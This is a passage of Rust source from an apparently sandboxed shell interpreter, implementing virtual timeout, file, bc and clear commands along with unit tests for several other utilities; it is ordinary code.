};\n\n        if i >= args.len() {\n            return CommandResult {\n                stderr: \"timeout: missing operand\\n\".into(),\n                exit_code: 125,\n                ..Default::default()\n            };\n        }\n\n        let exec = match ctx.exec {\n            Some(cb) => cb,\n            None => {\n                return CommandResult {\n                    stderr: \"timeout: exec callback not available\\n\".into(),\n                    exit_code: 126,\n                    ..Default::default()\n                };\n            }\n        };\n\n        let cmd_line = args[i..].join(\" \");\n        let start = crate::platform::Instant::now();\n\n        // NOTE: In this sandboxed, single-threaded interpreter there is no\n        // signal mechanism to preemptively kill the child.  We run the\n        // command synchronously and check elapsed time *after* it finishes,\n        // so a long-running command will block for its full duration.  The\n        // global `max_execution_time` limit may still interrupt, but with\n        // its own error rather than exit code 124.\n        match exec(&cmd_line, None) {\n            Ok(result) => {\n                let elapsed = start.elapsed();\n                if elapsed.as_secs_f64() > duration_secs {\n                    CommandResult {\n                        stdout: result.stdout,\n                        stderr: result.stderr,\n                        exit_code: 124,\n                        stdout_bytes: None,\n                    }\n                } else {\n                    result\n                }\n            }\n            Err(e) => {\n                let elapsed = start.elapsed();\n                if elapsed.as_secs_f64() > duration_secs {\n                    CommandResult {\n                        stderr: format!(\"{}\\n\", e),\n                        exit_code: 124,\n                        ..Default::default()\n                    }\n                } else {\n                    CommandResult {\n                        stderr: format!(\"timeout: {}\\n\", e),\n                        exit_code: 126,\n                        ..Default::default()\n                    }\n                }\n            }\n        }\n    }\n}\n\n// ── file ─────────────────────────────────────────────────────────────\n\npub struct FileCommand;\n\nstatic FILE_META: CommandMeta = CommandMeta {\n    name: \"file\",\n    synopsis: \"file FILE...\",\n    description: \"Determine file type.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for FileCommand {\n    fn name(&self) -> &str {\n        \"file\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&FILE_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        if args.is_empty() {\n            return CommandResult {\n                stderr: \"file: missing operand\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let mut stdout = String::new();\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for arg in args {\n            if arg == \"--\" {\n                continue;\n            }\n            let path = resolve_path(arg, ctx.cwd);\n            let meta = match ctx.fs.stat(&path) {\n                Ok(m) => m,\n                Err(e) => {\n                    stderr.push_str(&format!(\"{}: cannot open ({})\\n\", arg, e));\n                    exit_code = 1;\n                    continue;\n                }\n            };\n\n            use crate::vfs::NodeType;\n            let file_type = match meta.node_type {\n                NodeType::Directory => \"directory\".to_string(),\n                NodeType::Symlink => \"symbolic link\".to_string(),\n                NodeType::File => match ctx.fs.read_file(&path) {\n                    Ok(data) => detect_file_type(&data, arg),\n                    Err(_) => \"regular file\".to_string(),\n                },\n            };\n\n            stdout.push_str(&format!(\"{}: {}\\n\", arg, file_type));\n        }\n\n        CommandResult {\n            stdout,\n            stderr,\n            exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\nfn detect_file_type(data: &[u8], name: &str) -> String {\n    if data.is_empty() {\n        return \"empty\".to_string();\n    }\n\n    // Magic-byte detection\n    if data.len() >= 8 && &data[0..8] == b\"\\x89PNG\\r\\n\\x1a\\n\" {\n        return \"PNG image data\".to_string();\n    }\n    if data.len() >= 3 && &data[0..3] == b\"\\xff\\xd8\\xff\" {\n        return \"JPEG image data\".to_string();\n    }\n    if data.len() >= 6 && (&data[0..6] == b\"GIF87a\" || &data[0..6] == b\"GIF89a\") {\n        return \"GIF image data\".to_string();\n    }\n    if data.len() >= 4 && &data[0..4] == b\"\\x7fELF\" {\n        return \"ELF executable\".to_string();\n    }\n    if data.len() >= 2 && &data[0..2] == b\"\\x1f\\x8b\" {\n        return \"gzip compressed data\".to_string();\n    }\n    if data.len() >= 5 && &data[0..5] == b\"%PDF-\" {\n        return \"PDF document\".to_string();\n    }\n    if data.len() >= 4 && &data[0..4] == b\"PK\\x03\\x04\" {\n        return \"Zip archive data\".to_string();\n    }\n    if data.len() >= 263 && &data[257..262] == b\"ustar\" {\n        return \"POSIX tar archive\".to_string();\n    }\n\n    // Check if it looks like text\n    let sample = &data[..data.len().min(512)];\n    let is_text = sample\n        .iter()\n        .all(|&b| b == b'\\n' || b == b'\\r' || b == b'\\t' || (0x20..0x7f).contains(&b));\n\n    if is_text {\n        // Check for JSON\n        let text = String::from_utf8_lossy(sample);\n        let trimmed = text.trim();\n        if (trimmed.starts_with('{') && trimmed.ends_with('}'))\n            || (trimmed.starts_with('[') && trimmed.ends_with(']'))\n        {\n            return \"JSON text data\".to_string();\n        }\n        // Check for XML\n        if trimmed.starts_with(\"<?xml\") {\n            return \"XML document\".to_string();\n        }\n\n        // Extension fallback\n        let ext = name.rsplit('.').next().unwrap_or(\"\");\n        match ext {\n            \"sh\" | \"bash\" => return \"Bourne-Again shell script, ASCII text\".to_string(),\n            \"py\" => return \"Python script, ASCII text\".to_string(),\n            \"rb\" => return \"Ruby script, ASCII text\".to_string(),\n            \"js\" => return \"JavaScript source, ASCII text\".to_string(),\n            \"ts\" => return \"TypeScript source, ASCII text\".to_string(),\n            \"rs\" => return \"Rust source, ASCII text\".to_string(),\n            \"c\" => return \"C source, ASCII text\".to_string(),\n            \"h\" => return \"C header, ASCII text\".to_string(),\n            \"cpp\" | \"cc\" | \"cxx\" => return \"C++ source, ASCII text\".to_string(),\n            \"java\" => return \"Java source, ASCII text\".to_string(),\n            \"go\" => return \"Go source, ASCII text\".to_string(),\n            \"pl\" => return \"Perl script, ASCII text\".to_string(),\n            \"html\" | \"htm\" => return \"HTML document, ASCII text\".to_string(),\n            \"css\" => return \"CSS source, ASCII text\".to_string(),\n            \"json\" => return \"JSON text data\".to_string(),\n            \"xml\" => return \"XML document\".to_string(),\n            \"yaml\" | \"yml\" => return \"YAML document, ASCII text\".to_string(),\n            \"toml\" => return \"TOML document, ASCII text\".to_string(),\n            \"md\" => return \"Markdown document, ASCII text\".to_string(),\n            \"txt\" => return \"ASCII text\".to_string(),\n            _ => {}\n        }\n\n        return \"ASCII text\".to_string();\n    }\n\n    \"data\".to_string()\n}\n\n// ── bc ──────────────────────────────────────────────────────────────\n\npub struct BcCommand;\n\nstatic BC_META: CommandMeta = CommandMeta {\n    name: \"bc\",\n    synopsis: \"bc [-l] [file ...]\",\n    description: \"An arbitrary precision calculator language.\",\n    options: &[(\"-l\", \"use the standard math library (set scale=20)\")],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for BcCommand {\n    fn name(&self) -> &str {\n        \"bc\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&BC_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut scale: u32 = 0;\n        let mut files: Vec<&str> = Vec::new();\n\n        for arg in args {\n            match arg.as_str() {\n                \"-l\" => scale = 20,\n                _ => files.push(arg),\n            }\n        }\n\n        let input = if !files.is_empty() {\n            let mut combined = String::new();\n            for f in &files {\n                let path = resolve_path(f, ctx.cwd);\n                match ctx.fs.read_file(&path) {\n                    Ok(bytes) => {\n                        combined.push_str(&String::from_utf8_lossy(&bytes));\n                        combined.push('\\n');\n                    }\n                    Err(e) => {\n                        return CommandResult {\n                            stderr: format!(\"bc: {}: {}\\n\", f, e),\n                            exit_code: 1,\n                            ..Default::default()\n                        };\n                    }\n                }\n            }\n            combined\n        } else {\n            ctx.stdin.to_string()\n        };\n\n        let mut env = BcEnv {\n            scale,\n            vars: std::collections::HashMap::new(),\n        };\n\n        let mut stdout = String::new();\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for raw_line in input.lines() {\n            // Split on semicolons for multi-statement lines\n            for stmt in raw_line.split(';') {\n                let stmt = stmt.trim();\n                if stmt.is_empty() || stmt == \"quit\" {\n                    continue;\n                }\n\n                // Check for scale assignment\n                if let Some(val_str) = stmt.strip_prefix(\"scale\") {\n                    let val_str = val_str.trim();\n                    if let Some(val_str) = val_str.strip_prefix('=') {\n                        let val_str = val_str.trim();\n                        match val_str.parse::<u32>() {\n                            Ok(v) => {\n                                env.scale = v;\n                                continue;\n                            }\n                            Err(_) => {\n                                stderr.push_str(&format!(\"bc: parse error: {}\\n\", stmt));\n                                exit_code = 1;\n                                continue;\n                            }\n                        }\n                    }\n                }\n\n                // Check for variable assignment (simple: name = expr)\n                if let Some(eq_pos) = stmt.find('=') {\n                    let lhs = stmt[..eq_pos].trim();\n                    let rhs = stmt[eq_pos + 1..].trim();\n                    // Make sure LHS is identifier and not comparison\n                    if !lhs.is_empty()\n                        && lhs.chars().all(|c| c.is_ascii_alphanumeric() || c == '_')\n                        && lhs\n                            .chars()\n                            .next()\n                            .is_some_and(|c| c.is_ascii_alphabetic() || c == '_')\n                        && !rhs.starts_with('=')\n                        && !stmt[..eq_pos].ends_with('!')\n                        && !stmt[..eq_pos].ends_with('<')\n                        && !stmt[..eq_pos].ends_with('>')\n                    {\n                        match bc_parse_expr(&mut BcParser::new(rhs), &env, 0) {\n                            Ok(val) => {\n                                env.vars.insert(lhs.to_string(), val);\n                                continue;\n                            }\n                            Err(e) => {\n                                stderr.push_str(&format!(\"bc: {}\\n\", e));\n                                exit_code = 1;\n                                continue;\n                            }\n                        }\n                    }\n                }\n\n                // Expression evaluation\n                match bc_parse_expr(&mut BcParser::new(stmt), &env, 0) {\n                    Ok(val) => {\n                        stdout.push_str(&bc_format_number(val, env.scale));\n                        stdout.push('\\n');\n                    }\n                    Err(e) => {\n                        stderr.push_str(&format!(\"bc: {}\\n\", e));\n                        exit_code = 1;\n                    }\n                }\n            }\n        }\n\n        CommandResult {\n            stdout,\n            stderr,\n            exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\nstruct BcEnv {\n    scale: u32,\n    vars: std::collections::HashMap<String, f64>,\n}\n\nstruct BcParser<'a> {\n    input: &'a str,\n    pos: usize,\n}\n\nimpl<'a> BcParser<'a> {\n    fn new(input: &'a str) -> Self {\n        Self { input, pos: 0 }\n    }\n\n    fn skip_ws(&mut self) {\n        while self.pos < self.input.len() && self.input.as_bytes()[self.pos].is_ascii_whitespace() {\n            self.pos += 1;\n        }\n    }\n\n    fn peek(&mut self) -> Option<char> {\n        self.skip_ws();\n        self.input[self.pos..].chars().next()\n    }\n\n    fn peek_two(&mut self) -> Option<&'a str> {\n        self.skip_ws();\n        if self.pos + 1 < self.input.len() {\n            Some(&self.input[self.pos..self.pos + 2])\n        } else {\n            None\n        }\n    }\n\n    fn advance(&mut self) {\n        if self.pos < self.input.len() {\n            self.pos += self.input[self.pos..]\n                .chars()\n                .next()\n                .map_or(0, |c| c.len_utf8());\n        }\n    }\n\n    fn at_end(&mut self) -> bool {\n        self.skip_ws();\n        self.pos >= self.input.len()\n    }\n}\n\nfn bc_parse_expr(parser: &mut BcParser, env: &BcEnv, min_prec: u8) -> Result<f64, String> {\n    let mut left = bc_parse_unary(parser, env)?;\n\n    loop {\n        if parser.at_end() {\n            break;\n        }\n\n        let (op, prec, right_assoc) = match parser.peek_two() {\n            Some(\"==\") => (\"==\", 1, false),\n            Some(\"!=\") => (\"!=\", 1, false),\n            Some(\"<=\") => (\"<=\", 2, false),\n            Some(\">=\") => (\">=\", 2, false),\n            _ => match parser.peek() {\n                Some('<') => (\"<\", 2, false),\n                Some('>') => (\">\", 2, false),\n                Some('+') => (\"+\", 3, false),\n                Some('-') => (\"-\", 3, false),\n                Some('*') => (\"*\", 4, false),\n                Some('/') => (\"/\", 4, false),\n                Some('%') => (\"%\", 4, false),\n                Some('^') => (\"^\", 5, true),\n                _ => break,\n            },\n        };\n\n        if prec < min_prec {\n            break;\n        }\n\n        // Consume operator\n        for _ in 0..op.len() {\n            parser.advance();\n        }\n\n        let next_min = if right_assoc { prec } else { prec + 1 };\n        let right = bc_parse_expr(parser, env, next_min)?;\n\n        left = match op {\n            \"+\" => left + right,\n            \"-\" => left - right,\n            \"*\" => left * right,\n            \"/\" => {\n                if right == 0.0 {\n                    return Err(\"divide by zero\".to_string());\n                }\n                left / right\n            }\n            \"%\" => {\n                if right == 0.0 {\n                    return Err(\"divide by zero\".to_string());\n                }\n                left % right\n            }\n            \"^\" => left.powf(right),\n            \"==\" => {\n                if (left - right).abs() < f64::EPSILON {\n                    1.0\n                } else {\n                    0.0\n                }\n            }\n            \"!=\" => {\n                if (left - right).abs() >= f64::EPSILON {\n                    1.0\n                } else {\n                    0.0\n                }\n            }\n            \"<\" => {\n                if left < right {\n                    1.0\n                } else {\n                    0.0\n                }\n            }\n            \">\" => {\n                if left > right {\n                    1.0\n                } else {\n                    0.0\n                }\n            }\n            \"<=\" => {\n                if left <= right {\n                    1.0\n                } else {\n                    0.0\n                }\n            }\n            \">=\" => {\n                if left >= right {\n                    1.0\n                } else {\n                    0.0\n                }\n            }\n            _ => unreachable!(),\n        };\n    }\n\n    Ok(left)\n}\n\nfn bc_parse_unary(parser: &mut BcParser, env: &BcEnv) -> Result<f64, String> {\n    match parser.peek() {\n        Some('-') => {\n            parser.advance();\n            let val = bc_parse_unary(parser, env)?;\n            Ok(-val)\n        }\n        Some('+') => {\n            parser.advance();\n            bc_parse_unary(parser, env)\n        }\n        _ => bc_parse_primary(parser, env),\n    }\n}\n\nfn bc_parse_primary(parser: &mut BcParser, env: &BcEnv) -> Result<f64, String> {\n    parser.skip_ws();\n\n    if parser.peek() == Some('(') {\n        parser.advance();\n        let val = bc_parse_expr(parser, env, 0)?;\n        if parser.peek() != Some(')') {\n            return Err(\"expected ')'\".to_string());\n        }\n        parser.advance();\n        return Ok(val);\n    }\n\n    // Number\n    let start = parser.pos;\n    let input = parser.input;\n    while parser.pos < input.len() {\n        let ch = input.as_bytes()[parser.pos];\n        if ch.is_ascii_digit() || ch == b'.' {\n            parser.pos += 1;\n        } else {\n            break;\n        }\n    }\n\n    if parser.pos > start {\n        let num_str = &input[start..parser.pos];\n        return num_str\n            .parse::<f64>()\n            .map_err(|_| format!(\"invalid number: {}\", num_str));\n    }\n\n    // Variable name\n    let var_start = parser.pos;\n    while parser.pos < input.len() {\n        let ch = input.as_bytes()[parser.pos];\n        if ch.is_ascii_alphanumeric() || ch == b'_' {\n            parser.pos += 1;\n        } else {\n            break;\n        }\n    }\n\n    if parser.pos > var_start {\n        let name = &input[var_start..parser.pos];\n        if name == \"scale\" {\n            return Ok(env.scale as f64);\n        }\n        return Ok(*env.vars.get(name).unwrap_or(&0.0));\n    }\n\n    Err(format!(\"parse error at position {}\", parser.pos))\n}\n\nfn bc_format_number(val: f64, scale: u32) -> String {\n    if scale == 0 {\n        // Truncate towards zero\n        let truncated = val as i64;\n        return truncated.to_string();\n    }\n\n    let formatted = format!(\"{:.prec$}\", val, prec = scale as usize);\n    // Remove trailing zeros after decimal, but keep at least `scale` digits? No, bc keeps them.\n    formatted\n}\n\n// ── clear ───────────────────────────────────────────────────────────\n\npub struct ClearCommand;\n\nstatic CLEAR_META: CommandMeta = CommandMeta {\n    name: \"clear\",\n    synopsis: \"clear\",\n    description: \"Clear the terminal screen.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for ClearCommand {\n    fn name(&self) -> &str {\n        \"clear\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&CLEAR_META)\n    }\n\n    fn execute(&self, _args: &[String], _ctx: &CommandContext) -> CommandResult {\n        CommandResult {\n            stdout: \"\\x1b[2J\\x1b[H\".to_string(),\n            ..Default::default()\n        }\n    }\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n    use crate::commands::{CommandContext, VirtualCommand};\n    use crate::interpreter::ExecutionLimits;\n    use crate::network::NetworkPolicy;\n    use crate::vfs::{InMemoryFs, VirtualFs};\n    use std::collections::HashMap;\n    use std::path::Path;\n    use std::sync::Arc;\n\n    fn setup() -> (\n        Arc<InMemoryFs>,\n        HashMap<String, String>,\n        ExecutionLimits,\n        NetworkPolicy,\n    ) {\n        let fs = Arc::new(InMemoryFs::new());\n        fs.write_file(Path::new(\"/hello.txt\"), b\"hello world\\n\")\n            .unwrap();\n        let mut env = HashMap::new();\n        env.insert(\"USER\".into(), \"testuser\".into());\n        env.insert(\"HOSTNAME\".into(), \"myhost\".into());\n        env.insert(\"HOME\".into(), \"/home/testuser\".into());\n        (\n            fs,\n            env,\n            ExecutionLimits::default(),\n            NetworkPolicy::default(),\n        )\n    }\n\n    fn ctx<'a>(\n        fs: &'a dyn crate::vfs::VirtualFs,\n        env: &'a HashMap<String, String>,\n        limits: &'a ExecutionLimits,\n        network_policy: &'a NetworkPolicy,\n    ) -> CommandContext<'a> {\n        CommandContext {\n            fs,\n            cwd: \"/\",\n            env,\n            variables: None,\n            stdin: \"\",\n            stdin_bytes: None,\n            limits,\n            network_policy,\n            exec: None,\n            shell_opts: None,\n        }\n    }\n\n    fn ctx_with_stdin<'a>(\n        fs: &'a dyn crate::vfs::VirtualFs,\n        env: &'a HashMap<String, String>,\n        limits: &'a ExecutionLimits,\n        network_policy: &'a NetworkPolicy,\n        stdin: &'a str,\n    ) -> CommandContext<'a> {\n        CommandContext {\n            fs,\n            cwd: \"/\",\n            env,\n            variables: None,\n            stdin,\n            stdin_bytes: None,\n            limits,\n            network_policy,\n            exec: None,\n            shell_opts: None,\n        }\n    }\n\n    // ── expr tests ───────────────────────────────────────────────────\n\n    #[test]\n    fn expr_addition() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = ExprCommand.execute(&[\"1\".into(), \"+\".into(), \"2\".into()], &c);\n        assert_eq!(r.stdout, \"3\\n\");\n        assert_eq!(r.exit_code, 0);\n    }\n\n    #[test]\n    fn expr_multiplication() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = ExprCommand.execute(&[\"3\".into(), \"*\".into(), \"4\".into()], &c);\n        assert_eq!(r.stdout, \"12\\n\");\n    }\n\n    #[test]\n    fn expr_division() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = ExprCommand.execute(&[\"10\".into(), \"/\".into(), \"3\".into()], &c);\n        assert_eq!(r.stdout, \"3\\n\");\n    }\n\n    #[test]\n    fn expr_modulo() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = ExprCommand.execute(&[\"10\".into(), \"%\".into(), \"3\".into()], &c);\n        assert_eq!(r.stdout, \"1\\n\");\n    }\n\n    #[test]\n    fn expr_comparison() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = ExprCommand.execute(&[\"5\".into(), \">\".into(), \"3\".into()], &c);\n        assert_eq!(r.stdout, \"1\\n\");\n        assert_eq!(r.exit_code, 0);\n    }\n\n    #[test]\n    fn expr_length() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = ExprCommand.execute(&[\"length\".into(), \"hello\".into()], &c);\n        assert_eq!(r.stdout, \"5\\n\");\n    }\n\n    #[test]\n    fn expr_substr() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = ExprCommand.execute(\n            &[\"substr\".into(), \"hello\".into(), \"2\".into(), \"3\".into()],\n            &c,\n        );\n        assert_eq!(r.stdout, \"ell\\n\");\n    }\n\n    #[test]\n    fn expr_match() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = ExprCommand.execute(&[\"hello\".into(), \":\".into(), \"hel\".into()], &c);\n        assert_eq!(r.stdout, \"3\\n\");\n    }\n\n    #[test]\n    fn expr_division_by_zero() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = ExprCommand.execute(&[\"5\".into(), \"/\".into(), \"0\".into()], &c);\n        assert_eq!(r.exit_code, 2);\n    }\n\n    #[test]\n    fn expr_missing_operand() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = ExprCommand.execute(&[], &c);\n        assert_eq!(r.exit_code, 2);\n    }\n\n    #[test]\n    fn expr_zero_result() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = ExprCommand.execute(&[\"0\".into(), \"+\".into(), \"0\".into()], &c);\n        assert_eq!(r.stdout, \"0\\n\");\n        assert_eq!(r.exit_code, 1);\n    }\n\n    // ── date tests ───────────────────────────────────────────────────\n\n    #[test]\n    fn date_default() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = DateCommand.execute(&[], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(!r.stdout.is_empty());\n    }\n\n    #[test]\n    fn date_format() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = DateCommand.execute(&[\"+%Y\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        let year = r.stdout.trim();\n        assert!(year.len() == 4);\n        assert!(year.parse::<u32>().is_ok());\n    }\n\n    #[test]\n    fn date_epoch() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = DateCommand.execute(&[\"+%s\".into()], &c);\n        let epoch = r.stdout.trim().parse::<u64>();\n        assert!(epoch.is_ok());\n        assert!(epoch.unwrap() > 1_000_000_000);\n    }\n\n    #[test]\n    fn date_invalid_operand() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = DateCommand.execute(&[\"%x\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n        assert!(r.stdout.is_empty());\n    }\n\n    // ── sleep tests ──────────────────────────────────────────────────\n\n    #[test]\n    fn sleep_missing_arg() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = SleepCommand.execute(&[], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    #[test]\n    fn sleep_invalid_arg() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = SleepCommand.execute(&[\"abc\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    #[test]\n    fn sleep_zero() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = SleepCommand.execute(&[\"0\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n    }\n\n    // ── seq tests ────────────────────────────────────────────────────\n\n    #[test]\n    fn seq_single() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = SeqCommand.execute(&[\"5\".into()], &c);\n        assert_eq!(r.stdout, \"1\\n2\\n3\\n4\\n5\\n\");\n    }\n\n    #[test]\n    fn seq_range() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = SeqCommand.execute(&[\"3\".into(), \"6\".into()], &c);\n        assert_eq!(r.stdout, \"3\\n4\\n5\\n6\\n\");\n    }\n\n    #[test]\n    fn seq_with_increment() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = SeqCommand.execute(&[\"1\".into(), \"2\".into(), \"9\".into()], &c);\n        assert_eq!(r.stdout, \"1\\n3\\n5\\n7\\n9\\n\");\n    }\n\n    #[test]\n    fn seq_empty() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = SeqCommand.execute(&[], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    // ── env tests ────────────────────────────────────────────────────\n\n    #[test]\n    fn env_lists_all() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = EnvCommand.execute(&[], &c);\n        assert!(r.stdout.contains(\"USER=testuser\"));\n        assert!(r.stdout.contains(\"HOSTNAME=myhost\"));\n    }\n\n    #[test]\n    fn env_executes_subcommand() {\n        let (fs, env, limits, np) = setup();\n        let exec = |command: &str, _env: Option<&std::collections::HashMap<String, String>>| {\n            Ok(CommandResult {\n                stdout: format!(\"{command}\\n\"),\n                ..Default::default()\n            })\n        };\n        let c = CommandContext {\n            exec: Some(&exec),\n            ..ctx(&*fs, &env, &limits, &np)\n        };\n        let r = EnvCommand.execute(&[\"echo\".into(), \"2\".into()], &c);\n        assert_eq!(r.stdout, \"echo 2\\n\");\n    }\n\n    #[test]\n    fn env_assignments_affect_listing() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = EnvCommand.execute(&[\"USER=override\".into(), \"NEW_VAR=value\".into()], &c);\n        assert!(r.stdout.contains(\"USER=override\"));\n        assert!(r.stdout.contains(\"NEW_VAR=value\"));\n        assert!(!r.stdout.contains(\"USER=testuser\"));\n    }\n\n    // ── printenv tests ───────────────────────────────────────────────\n\n    #[test]\n    fn printenv_specific() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = PrintenvCommand.execute(&[\"USER\".into()], &c);\n        assert_eq!(r.stdout, \"testuser\\n\");\n    }\n\n    #[test]\n    fn printenv_missing() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = PrintenvCommand.execute(&[\"NOPE\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    #[test]\n    fn printenv_all() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = PrintenvCommand.execute(&[], &c);\n        assert!(r.stdout.contains(\"USER=testuser\"));\n    }\n\n    // ── which tests ──────────────────────────────────────────────────\n\n    #[test]\n    fn which_builtin() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = WhichCommand.execute(&[\"cd\".into()], &c);\n        assert!(r.stdout.contains(\"shell built-in\"));\n    }\n\n    #[test]\n    fn which_registered() {\n        let (fs, mut env, limits, np) = setup();\n        env.insert(\"PATH\".into(), \"/usr/bin:/bin\".into());\n        fs.mkdir_p(Path::new(\"/bin\")).unwrap();\n        fs.write_file(Path::new(\"/bin/echo\"), b\"#!/bin/bash\\n# built-in: echo\\n\")\n            .unwrap();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = WhichCommand.execute(&[\"echo\".into()], &c);\n        assert!(r.stdout.contains(\"/bin/echo\"));\n    }\n\n    #[test]\n    fn which_not_found() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = WhichCommand.execute(&[\"nonexistent_cmd\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    #[test]\n    fn which_no_args() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = WhichCommand.execute(&[], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    #[test]\n    fn which_multi_args_mixed() {\n        let (fs, mut env, limits, np) = setup();\n        env.insert(\"PATH\".into(), \"/bin\".into());\n        fs.mkdir_p(Path::new(\"/bin\")).unwrap();\n        fs.write_file(Path::new(\"/bin/echo\"), b\"#!/bin/bash\\n# built-in: echo\\n\")\n            .unwrap();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = WhichCommand.execute(&[\"cd\".into(), \"echo\".into(), \"nonexistent\".into()], &c);\n        assert!(r.stdout.contains(\"shell built-in\"));\n        assert!(r.stdout.contains(\"/bin/echo\"));\n        assert_eq!(r.exit_code, 1); // at least one not found\n    }\n\n    // ── base64 tests ─────────────────────────────────────────────────\n\n    #[test]\n    fn base64_encode_stdin() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx_with_stdin(&*fs, &env, &limits, &np, \"hello\");\n        let r = Base64Command.execute(&[], &c);\n        assert_eq!(r.stdout.trim(), \"aGVsbG8=\");\n    }\n\n    #[test]\n    fn base64_decode() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx_with_stdin(&*fs, &env, &limits, &np, \"aGVsbG8=\");\n        let r = Base64Command.execute(&[\"-d\".into()], &c);\n        assert_eq!(r.stdout, \"hello\");\n    }\n\n    #[test]\n    fn base64_encode_file() {\n        let (fs, env, limits, np) = setup();\n        fs.write_file(Path::new(\"/test.bin\"), b\"test\").unwrap();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = Base64Command.execute(&[\"test.bin\".into()], &c);\n        assert_eq!(r.stdout.trim(), \"dGVzdA==\");\n    }\n\n    // ── md5sum tests ─────────────────────────────────────────────────\n\n    #[test]\n    fn md5sum_stdin() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx_with_stdin(&*fs, &env, &limits, &np, \"hello\");\n        let r = Md5sumCommand.execute(&[], &c);\n        assert!(r.stdout.starts_with(\"5d41402abc4b2a76b9719d911017c592\"));\n    }\n\n    #[test]\n    fn md5sum_file() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = Md5sumCommand.execute(&[\"hello.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"hello.txt\"));\n    }\n\n    #[test]\n    fn md5sum_nonexistent() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = Md5sumCommand.execute(&[\"nope.txt\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    // ── sha256sum tests ──────────────────────────────────────────────\n\n    #[test]\n    fn sha256sum_stdin() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx_with_stdin(&*fs, &env, &limits, &np, \"hello\");\n        let r = 